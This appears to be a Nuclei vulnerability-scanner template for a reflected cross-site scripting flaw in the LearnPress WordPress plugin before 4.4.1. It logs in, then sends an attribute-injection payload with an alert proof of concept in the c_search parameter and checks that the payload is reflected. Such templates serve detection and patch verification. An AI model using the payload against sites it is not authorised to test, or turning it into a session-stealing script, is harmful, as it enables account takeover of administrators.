id: CVE-2026-12970 info: name: WordPress LearnPress < 4.4.1 - Cross-Site Scripting author: anirbala98 severity: high description: | LearnPress < 4.4.1 does not escape the c_search parameter before reflecting it into the value attribute of the search input on the Course Builder questions page (/course-builder/questions/), allowing attribute-injection reflected XSS against authenticated admins/instructors. impact: | Attackers can execute arbitrary JavaScript in browsers of logged-in administrators or instructors, potentially leading to session hijacking or privilege escalation. remediation: | Update the plugin to version 4.4.1 or later. reference: - https://wpscan.com/vulnerability/d0a2780f-ab13-4bb8-935d-2aeba1de12d2/ - https://wordpress.org/plugins/learnpress/ - https://nvd.nist.gov/vuln/detail/CVE-2026-12970 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L cvss-score: 7.1 cve-id: CVE-2026-12970 epss-score: 0.00467 epss-percentile: 0.4065 cwe-id: CWE-79 metadata: verified: true max-request: 2 vendor: thimpress product: learnpress framework: wordpress tags: cve,cve2026,wordpress,wp-plugin,learnpress,xss,authenticated flow: http(1) && http(2) http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Cookie: wordpress_test_cookie=WP%20Cookie%20check log={{url_encode(username)}}&pwd={{url_encode(password)}}&wp-submit=Log+In&testcookie=1 matchers: - type: dsl dsl: - 'status_code == 302' - 'contains(to_lower(header), "wordpress_logged_in_")' condition: and internal: true - raw: - | GET /course-builder/questions/?c_search=%22%20autofocus%20onfocus%3Dalert(document.domain)%20x%3D%22 HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains(body, "name=\"c_search\" value=\"\" autofocus onfocus=alert(document.domain) x=\"\"")' - 'contains(content_type, "text/html")' - 'status_code == 200' condition: and # digest: 4a0a00473045022100c561f496d2a331126e1efce2f86035b2a0fe532df8528403127e9fcc0a5ff6280220704fe7f84db209b606ac5dadbdb2f7f09ad8fb2c5de909e0279642214adb0b9c:922c64590222798bb761d5b6d8e72950